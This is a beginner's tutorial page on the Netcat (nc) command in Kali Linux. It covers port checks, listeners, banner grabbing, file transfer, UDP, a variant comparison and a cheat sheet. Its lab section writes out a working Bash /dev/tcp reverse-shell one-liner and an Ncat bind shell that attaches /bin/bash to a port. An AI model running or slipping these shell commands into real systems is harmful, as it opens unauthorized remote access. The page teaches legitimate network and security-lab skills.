How to Use Netcat: Beginner's Guide to the nc Command in Kali Linux
How to use Netcat (nc) in Kali Linux: test ports, run a listener, grab banners, transfer files, and catch a reverse shell — worked example and cheat sheet.
What Is Netcat?
Netcat (nc) is a command-line tool for opening raw TCP or UDP connections. You use it in client mode to connect to a host and port, or in listener mode to accept an incoming connection, then type, pipe, send, or receive data through that connection.
When you need a raw network connection—to send data, listen for incoming connections, transfer files, or check ports—without extra protocol overhead, Netcat is the Swiss Army Knife of Networking.
Netcat connects standard input and standard output to a network socket. Text typed into one side travels across the connection, while received data appears on the other side. That simple pipe model makes Netcat useful for troubleshooting, manual protocol requests, banner grabbing, basic file transfers, and controlled security labs.
The listener-and-client mental model
Almost every Netcat task uses one of two modes:
A listener and client can exchange data in both directions. You can type interactively or use shell redirection and pipelines to move data through the connection.
Netcat is not a full network scanner. Its zero-I/O mode can perform basic connection checks, but it lacks the discovery, service detection, reporting, and scan controls available in Nmap. Standard Netcat is also not encrypted or authenticated. Unless you add a secure tunnel or use Ncat with TLS, anyone positioned along the path can read or modify the traffic.
Prerequisites
You should be comfortable with:
Run scanning, listening, and shell examples only on systems you own or have explicit permission to test.
How to Use Netcat in 6 Steps
The following workflow shows how to use Netcat for the tasks you will encounter most often. Check your implementation before copying flags because OpenBSD Netcat, traditional Netcat, and Ncat do not have identical syntax.
nc you have. Read the local help before using a command from a tutorial. Look for clues such as -N, -e, --ssl, or the required placement of -p.```bash
nc -h
```
-z option checks whether a connection can be established without starting an interactive data session, while -v displays the result and -w limits the wait.```bash
nc -vz -w 3 example.com 443
```
127.0.0.1 keeps this first experiment on the local machine.```bash
nc -lv 127.0.0.1 9000
```
```bash
nc -v -w 3 db.internal.example 22
```
-N option shuts down the sender's network write side after reaching the end of the input file.```bash
# Receiver, first terminal
nc -l 127.0.0.1 9000 > received.txt
# Sender, second terminal
nc -N 127.0.0.1 9000 < source.txt
```
-N on an OpenBSD sender so the receiver can detect completion. Press Ctrl-C to stop any listener that remains active.```bash
printf 'done\n' | nc -N 127.0.0.1 9000
```
Which Netcat Do You Have?
The name “Netcat” commonly refers to three related programs. OpenBSD Netcat and traditional Netcat are normally invoked as nc; Ncat is usually invoked as ncat, although packages or aliases can expose it under another name.
| Variant | Default on | How to tell from help output | Key flag differences |
|---|---|---|---|
| OpenBSD Netcat | Debian, Ubuntu, Kali Linux, and macOS | nc -h lists options such as -z and -N, but not -e | Listener syntax is normally nc -l 9000; -N shuts down after stdin reaches EOF; -p is a source-port option rather than the traditional listener-port form |
| GNU/traditional Netcat | Some older Linux installations; available as an optional package on Debian-family systems | Help commonly lists -e and shows a listener using -l -p; some builds do not support -z | Listener syntax commonly requires nc -l -p 9000; -e may execute a program; -N is generally unavailable |
| Ncat from Nmap | Windows installations of Nmap and systems with the nmap-ncat package | ncat --help lists long options such as --ssl, --exec, --sh-exec, --allow, and --deny | Supports TLS, access controls, connection brokering, and command execution; use the ncat command unless an alias has been configured |
Flags that work in one implementation may fail or mean something different in another. Always run nc -h first, and run ncat --help when using Ncat.
If nc -l 9000 fails on a traditional implementation, try nc -l -p 9000. If a copied command uses -e but your help does not list it, you probably have OpenBSD Netcat.
Installation
Kali Linux
Netcat is normally pre-installed on Kali Linux. Confirm that the command and local help are available:
command -v nc && nc -h
Debian and Ubuntu
Install the OpenBSD implementation explicitly:
sudo apt update && sudo apt install netcat-openbsd
RHEL and Fedora
The nmap-ncat package provides Ncat:
sudo dnf install nmap-ncat
macOS
macOS includes an OpenBSD-derived nc. Check its locally supported options before following Linux-specific examples:
nc -h
Windows
Install Nmap with its Ncat component, then open PowerShell or Command Prompt and verify the executable:
ncat --help
Netcat Syntax and Core Flags
Client mode initiates a connection:
nc [options] host port
Listener mode waits for a connection:
nc -l [options] port
Traditional Netcat commonly uses a different listener form:
nc -l -p 9000
The following options cover the majority of practical Netcat work.
| Flag | Meaning |
|---|---|
-l | Listen for an incoming connection instead of initiating one |
-v | Enable verbose status messages; repeat it on implementations that support additional verbosity |
-n | Disable DNS and service-name lookups; use numeric addresses and ports |
-p | Select a local source port on OpenBSD-style clients; traditional Netcat uses it to specify the listener port |
-z | Use zero-I/O mode for connection and port checks; some traditional builds do not provide it |
-u | Use UDP instead of the default TCP transport |
-w seconds | Limit connection or network-read waiting time, depending on the implementation |
-N | OpenBSD Netcat: shut down the network socket after stdin reaches EOF |
-q seconds | On supported Linux builds, wait this many seconds after stdin reaches EOF and then quit |
-e command | Traditional Netcat and Ncat only: execute a program after connecting; absent from OpenBSD Netcat |
--ssl | Ncat only: establish a TLS-protected connection |
--exec command | Ncat only: execute a program with its input and output attached to the connection |
Options can often be combined, so -lvn means listen, display verbose messages, and disable name resolution. Combining flags does not make incompatible syntax portable: nc -lvnp 4444, for example, is common traditional-Netcat syntax but can fail with OpenBSD Netcat.
Command-execution options create serious exposure when used on a reachable listener. Use them only inside isolated labs that you control.
Worked Example: Test a Port, Start a Listener, Move a File
Lab exercise: Everything in this section stays on 127.0.0.1. Open two terminals in the same working directory and use OpenBSD Netcat syntax.
1. Confirm that port 9000 is closed
With no listener running, test the port from the first terminal:
nc -vz -w 2 127.0.0.1 9000
A closed local TCP port should reject the connection:
nc: connect to 127.0.0.1 port 9000 (tcp) failed: Connection refused
(illustrative output)
A refusal is useful information: the local network stack responded, but no process accepted the connection on port 9000.
2. Start the listener
In Terminal A, bind the listener specifically to the loopback address:
nc -lv 127.0.0.1 9000
The command waits because listening is its job. Leave it running and move to Terminal B.
3. Connect and exchange a line in both directions
In Terminal B, connect to the listener. The -N option will later propagate stdin EOF to the network socket.
nc -v -N 127.0.0.1 9000
The client should report a successful TCP connection:
Connection to 127.0.0.1 9000 port [tcp/*] succeeded!
(illustrative output)
In Terminal B, type hello from client and press Enter. Terminal A receives:
hello from client
(illustrative output)
Now type hello from listener in Terminal A and press Enter. Terminal B receives:
hello from listener
(illustrative output)
This demonstrates the pipe model: each terminal's input is sent to the other side, and incoming bytes are written to its output. Press Ctrl-D in Terminal B. Because the client uses -N, Netcat shuts down its network write side after stdin reaches EOF, allowing the one-shot listener to finish.
4. Create and hash a small source file
In Terminal B, create a predictable file and calculate its SHA-256 digest:
printf 'hello\n' > source.txt
sha256sum source.txt
5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03 source.txt
(illustrative output)
The digest gives you a value to compare after the transfer.
5. Start the file receiver
In Terminal A, start a fresh listener and redirect received data into a new file:
nc -l 127.0.0.1 9000 > received.txt
The receiver must be running before the sender connects. Because standard output is redirected, the transferred bytes go into received.txt rather than appearing in the terminal.
6. Send the file
In Terminal B, connect and redirect the source file into Netcat:
nc -N 127.0.0.1 9000 < source.txt
When Netcat reaches the end of source.txt, -N shuts down the connection. Terminal A sees EOF, exits, and closes received.txt.
7. Verify the received file
In Terminal A, calculate the digest of the received file:
sha256sum received.txt
5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03 received.txt
(illustrative output)
The two SHA-256 digests match, so the received bytes are identical to the source bytes.
Finally, confirm that the one-shot listener has closed:
nc -vz -w 2 127.0.0.1 9000
nc: connect to 127.0.0.1 port 9000 (tcp) failed: Connection refused
(illustrative output)
This exercise covered the complete pattern: check a port, listen, connect, exchange data, transfer a file, verify it, and close the connection.
Port Scanning with Netcat
Use port checks only against systems you own or have explicit permission to test. Netcat can answer basic connectivity questions, but use Nmap when you need real host discovery, service detection, rate controls, or structured scan results.
Test one TCP port
The following command attempts a TCP connection without entering an interactive session:
nc -nvz -w 3 192.168.1.100 22
-n avoids reverse DNS, -v displays the result, -z enables zero-I/O mode, and -w 3 limits the wait.
Scan a port range
OpenBSD Netcat accepts a hyphenated range:
nc -nvz -w 2 192.168.1.100 20-25
Netcat attempts each port in the range. This is convenient for a small check but lacks Nmap's scan engines and reporting.
Check noncontiguous ports
Use a shell loop when the ports do not form one range:
for port in 22 80 443 9000; do
nc -nvz -w 2 192.168.1.100 "$port"
done
Display only successful checks
OpenBSD Netcat writes verbose connection messages to standard error, not standard output. Redirect standard error before piping to grep:
nc -nvz -w 2 192.168.1.100 1-1024 2>&1 | grep succeeded
Without 2>&1, grep may receive nothing even though status messages are visible in the terminal.
Understand the three common outcomes
DROP rather than REJECT.Banner Grabbing and Manual Protocol Requests
Banner grabbing lets you observe what a service reports before using a specialized client. Perform it only during authorized administration or testing, and remember that banners can be hidden, changed, or misleading.
Read an SSH banner
SSH sends an identification line shortly after a TCP connection is established:
nc -v -w 3 db.internal.example 22
A returned line beginning with the SSH protocol identifier confirms that an SSH-speaking service answered. It may also expose implementation details useful for inventory and version checks.
Send an HTTP request manually
HTTP requires correctly terminated lines. Use printf, not echo, because echo implementations handle escape sequences and trailing newlines inconsistently.
printf 'HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n' | nc -w 3 example.com 80
The first \r\n terminates the request line, the second terminates the Host header, and the final empty line ends the header section. A HEAD request asks for response headers without requesting a response body.
Read an SMTP greeting
SMTP servers normally send a greeting immediately after accepting a connection:
nc -v -w 3 db.internal.example 25
This can confirm that the port speaks SMTP and may reveal self-reported server information. During an authorized version review, compare a banner with configuration records and other evidence rather than treating it as definitive proof.
File Transfer with Netcat
Use this technique only between systems you control on a trusted network. Plain Netcat provides neither encryption nor authentication.
Start the receiver first
On the receiving host, listen on a port and redirect standard output into the destination file:
nc -l 9000 > received-file.bin
A traditional Netcat receiver may require:
nc -l -p 9000 > received-file.bin
The command waits until a sender connects. If the sender runs before the listener, the connection will normally be refused and no transfer will occur.
Send the file second
From the sending host, connect to the receiver and redirect the source file into Netcat:
nc -N 192.168.1.100 9000 < file.bin
On OpenBSD Netcat, -N is important because it shuts down the socket after the input file reaches EOF. That EOF tells the receiver that the transfer is complete and allows it to exit.
A traditional Linux build may use -q 0 instead:
nc -q 0 192.168.1.100 9000 < file.bin
Check nc -h before choosing either form.
Verify both copies
Calculate the source digest on the sender:
sha256sum file.bin
Calculate the destination digest on the receiver:
sha256sum received-file.bin
The two digests must match exactly. A successful TCP connection alone does not prove that the correct file was selected or that your redirection was correct.
Netcat does not encrypt the transferred bytes, verify the other host's identity, or require credentials. Anyone who can observe the path can read the file, and anyone who can reach the open listener may connect first and inject data. Prefer SCP, SFTP, or rsync over SSH when a transfer leaves a trusted lab network.
UDP with Netcat
Add -u to use UDP instead of TCP. Probe only services you are authorized to test.
A basic UDP check against a DNS port looks like this:
nc -zvu -w 3 dns.example.com 53
The result must be interpreted differently from a TCP result. UDP has no handshake, so Netcat cannot observe a completed connection. When nc -zvu reports that a UDP check “succeeded,” it usually means only that no ICMP port-unreachable response came back before the timeout.
That creates an important ambiguity:
Confirm the result with a valid application-layer request. For DNS, use dig:
dig @dns.example.com example.com
A valid DNS response provides much stronger evidence than a zero-I/O UDP result. Even then, check the response status and returned data rather than relying only on whether the command ended.
Netcat as a Two-Way Chat
A local chat is the clearest demonstration that Netcat is a bidirectional pipe. Keep the exercise on 127.0.0.1 or an isolated lab network.
In Terminal A, start an OpenBSD Netcat listener:
nc -lv 127.0.0.1 9000
In Terminal B, connect as the client:
nc -v -N 127.0.0.1 9000
Anything typed in Terminal B appears in Terminal A, and anything typed in Terminal A appears in Terminal B. Netcat does not add usernames, message boundaries, encryption, or chat commands; it simply copies bytes between terminal input and the socket.
With traditional Netcat, the listener port normally follows -p:
nc -l -p 9000
Press Ctrl-D to signal stdin EOF. With OpenBSD Netcat, -N causes that EOF to shut down the network write side so the peer can finish. Press Ctrl-C when you need to stop a client or listener immediately.
Reverse Shells and Bind Shells in the Lab
Use shell examples only between your own isolated virtual machines. Never expose an unauthenticated shell listener to a production or public network.
A reverse shell starts with a listener on the controlling machine. The target then creates an outgoing connection back to that listener. The commonly copied listener below uses traditional Netcat syntax:
nc -lvnp 4444
If you have OpenBSD Netcat, omit -p and place the port at the end:
nc -lvn 4444
Assuming the listener belongs to 10.0.0.5, the target lab VM can use Bash's /dev/tcp feature:
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
The target initiates the TCP connection. Bash then redirects the interactive shell's input, output, and error streams through that socket. This is a basic stream connection rather than a full terminal, and it has no built-in encryption or authentication.
A bind shell reverses the direction. The target listens on a port, and the controlling machine connects inbound. For example, an isolated Ncat lab can restrict the source address while attaching Bash:
ncat -l 4444 --exec /bin/bash --allow 10.0.0.5
The controlling VM then connects to the target lab VM:
ncat 192.168.1.100 4444
Reverse shells often work more easily than bind shells when the target is behind NAT or an inbound firewall because the target initiates an outgoing connection. They are not guaranteed to work: egress filtering, proxies, segmentation, and monitoring can block or detect the connection.
OpenBSD Netcat has no -e option by design. Ncat provides --exec and --sh-exec, while traditional Netcat may provide -e; all of these options can expose a command interpreter and require strict lab isolation.
See the Reverse Shell Guide for the full listener-and-payload workflow.
Netcat vs Nmap vs Socat vs Ncat
| Tool | Best for | Weakness |
|---|---|---|
Netcat (nc) | Quick TCP or UDP connections, small port checks, manual protocol requests, chat, and trusted-network transfers | Variant-dependent flags, no native encryption or authentication, limited scanning features |
| Nmap | Real port scanning, host discovery, service detection, scan control, and structured results | More overhead than Netcat for a single raw connection or interactive text exchange |
| Socat | Complex relays, multiple address types, TLS, UNIX sockets, serial connections, and pseudo-terminal handling | Dense syntax and a larger number of options to understand |
Ncat (ncat) | Netcat-style connections with TLS, access controls, proxies, brokering, and controlled execution options | May not be installed by default, and secure TLS identity verification still requires correct configuration |
Reach for plain Netcat when you need to answer a small question quickly: “Can I connect to this port?” or “What bytes does this service return?” Use Nmap for real network scanning rather than building large Netcat loops.
Use Socat when you need advanced relays, pseudo-terminals, multiple socket types, or precise stream handling. Use Ncat when you need Netcat-like behavior with features such as --ssl, --allow, or --deny.
For transfers that leave a trusted network, use SCP or rsync over SSH instead of plain Netcat. If a Netcat-style workflow specifically requires TLS, Ncat with --ssl can encrypt the connection, but certificate verification and peer identity still need to be configured correctly.
Troubleshooting Netcat Problems
| Problem | Likely cause | Fix |
|---|---|---|
nc -l 9000 errors, or -z is not recognized | The command was written for a different Netcat variant | Run nc -h. Traditional Netcat commonly needs nc -l -p 9000; if its build lacks -z, install OpenBSD Netcat or Ncat, or perform individual timed connections without -z |
One attempt says Connection refused, while another hangs | These are different network outcomes: refusal is an active reset, while a hang means no useful response arrived | Check whether a service is listening, then inspect routing and firewall rules. Add -w 3 so silent drops do not wait indefinitely |
| UDP reports success, but the service does not work | UDP has no handshake, and no ICMP rejection was received | Send a valid protocol request, such as dig @dns.example.com example.com, and inspect the application response |
-e does not exist | OpenBSD Netcat deliberately omits command execution | Avoid execution options when possible. In an isolated lab, Ncat provides --exec; do not expose it to untrusted networks |
The listener will not release the port or reports Address already in use | Another process may still be listening, or a recent connection may remain in a socket state such as TIME_WAIT | Run ss -ltnp to find a listener and ss -tan state time-wait to inspect waiting sockets; stop the owning process, wait, or use another port |
| A file transfer hangs after all bytes appear to arrive | The sender reached stdin EOF but did not shut down the network socket | Use -N on an OpenBSD sender or a supported option such as -q 0 on a traditional build |
| No output appears at all | -v was omitted, or verbose diagnostics went to standard error | Add -v; when piping status messages, use 2>&1 before the next command |
A hostname fails immediately when -n is enabled | -n disables name resolution | Remove -n when using a hostname, or replace the hostname with an authorized numeric address |
Common Mistakes
-v and then assuming a silent zero-I/O check did nothing.-w and allowing a filtered connection attempt to wait much longer than intended.-e exists even though OpenBSD Netcat intentionally omits it.Best Practices
nc -h or ncat --help before adapting a command.-w timeouts for connection checks, scripts, and protocol experiments.--ssl when a Netcat-style connection crosses an untrusted network, and configure identity verification where required.127.0.0.1 before moving them into a multi-host lab.Netcat Commands Cheat Sheet
These commands assume authorized targets. Check your Netcat variant before using listener, EOF, or execution-related options.
| Task | Command |
|---|---|
| Show help and identify the variant | nc -h |
| Test a TCP port | nc -vz -w 3 example.com 443 |
| Test a numeric TCP target without DNS | nc -nvz -w 3 192.168.1.100 22 |
| Test an internal service port | nc -vz -w 3 db.internal.example 5432 |
| Test a UDP port | nc -zvu -w 3 dns.example.com 53 |
| Scan a small TCP range | nc -z -w 2 192.168.1.100 20-25 |
| Run a verbose range scan | nc -nvz -w 2 192.168.1.100 20-25 |
| Check several noncontiguous ports | for port in 22 80 443 9000; do nc -nvz -w 2 192.168.1.100 "$port"; done |
| Display successful range results | nc -nvz -w 2 192.168.1.100 1-1024 2>&1 | grep succeeded |
| Start an OpenBSD listener | nc -lv 9000 |
| Start a listener bound to loopback | nc -lv 127.0.0.1 9000 |
| Start a traditional Netcat listener | nc -l -v -p 9000 |
| Start an Ncat listener | ncat -lv 9000 |
| Keep an OpenBSD listener accepting connections | nc -lvk 9000 |
| Connect for a two-way chat | nc -v -N 127.0.0.1 9000 |
| Send one line and close after EOF | printf 'hello\n' | nc -N 127.0.0.1 9000 |
| Quit an OpenBSD sender after input EOF | nc -N 192.168.1.100 9000 < file.bin |
| Quit a supported traditional build after EOF | nc -q 0 192.168.1.100 9000 < file.bin |
| Grab an SSH banner | nc -v -w 3 db.internal.example 22 |
Send an HTTP HEAD request | printf 'HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n' | nc -w 3 example.com 80 |
| Check an SMTP greeting | nc -v -w 3 db.internal.example 25 |
| Receive a file | nc -l 9000 > received-file.bin |
| Send a file with OpenBSD Netcat | nc -N 192.168.1.100 9000 < file.bin |
| Hash the source file | sha256sum file.bin |
| Hash the received file | sha256sum received-file.bin |
| Scan with a short timeout | nc -nvz -w 1 192.168.1.100 9000 |
| Check an IPv6 TCP connection | nc -6 -vz -w 3 example.com 443 |
| Open a TLS connection with Ncat | ncat --ssl example.com 443 |
| Confirm a DNS service with a real query | dig @dns.example.com example.com |
| Save verbose diagnostics | nc -vz -w 3 example.com 443 2> nc-status.txt |
Keep Learning
Summary
Netcat is a lightweight tool for creating raw TCP and UDP connections in either client or listener mode. Use it for quick port checks, banner grabbing, manual protocol requests, two-way chats, and small transfers inside trusted labs. Always identify your implementation first because OpenBSD Netcat, traditional Netcat, and Ncat use different flags and listener syntax. Apply timeouts, verify transferred files with hashes, and remember that plain Netcat provides no encryption or authentication. Use Nmap for serious scanning and SCP or rsync for sensitive file transfers. Continue learning with the Reverse Shell Guide.
Knowledge Check
-l option tell Netcat to do?nc -e fail on a default OpenBSD Netcat installation?Connection refused and a timeout?Answers: 1. -l places Netcat in listener mode; 2. -z enables zero-I/O connection checks; 3. A reverse shell connects outward from the target, while a bind shell listens on the target for an inbound connection; 4. OpenBSD Netcat omits -e by design; 5. Ncat supports TLS through --ssl, along with access controls and other features; 6. Refusal means an active TCP reset was returned, while a timeout means no useful response arrived; 7. UDP has no handshake, so success may mean only that no ICMP rejection was received; 8. Calculate SHA-256 hashes on both files and confirm that the digests match.
Frequently Asked Questions
Continue Learning
SQLMap Commands: Cheat Sheet & How to Use SQLMap in Kali Linux
Every SQLMap command you need - target, enumeration, tamper scripts, WAF bypass, OS shell - with a worked DVWA example, troubleshooting and the developer fix.
Tools · BeginnerHow to Use Dirb: Beginner's Guide to Directory Brute-Forcing in Kali Linux
Learn how to use Dirb in Kali Linux: run your first directory scan, pick the right wordlist, and read the results — with a worked example and cheat sheet.
Tools · BeginnerHow to Use Tcpdump: Beginner's Guide to Packet Capture in Kali Linux
Learn how to use tcpdump in Kali Linux — capture packets, filter with BPF, save pcap files and read output, with a worked example and cheat sheet.
Tools · BeginnerHow to Use FFUF: Beginner's Guide to Fast Web Fuzzing in Kali Linux
Learn how to use FFUF in Kali Linux — directory, subdomain and vhost fuzzing, parameter testing, filters and a worked DVWA example, with a cheat sheet.
Related Security Tools
Netcat
Learn how to use Netcat (nc) in Kali Linux to open a TCP or UDP connection, check a port, and see what a service sends back. Follow the examples to send your first message, inspect HTTP and SMTP responses, and transfer a test file without exposing sensitive data.
Information GatheringNmap
Learn how to use Nmap, the free open-source network scanner: run your first port scan, discover live hosts, detect services and operating systems, and check for vulnerabilities with NSE scripts — a beginner tutorial for Kali Linux.
Sniffing & Spoofingtcpdump
tcpdump is a powerful, lightweight command-line packet analyzer that allows users to capture, parse, and filter TCP/IP and other packets transmitted or received over a network.
Wireless AttacksWifite
Learn how to use Wifite in Kali Linux with this beginner tutorial: check your WiFi adapter, install Wifite, run your first authorized WiFi audit, capture WPA handshakes and PMKIDs, and crack them with a wordlist. Includes Wifite commands, a worked example, troubleshooting for common errors, and how Wifite compares with Aircrack-ng.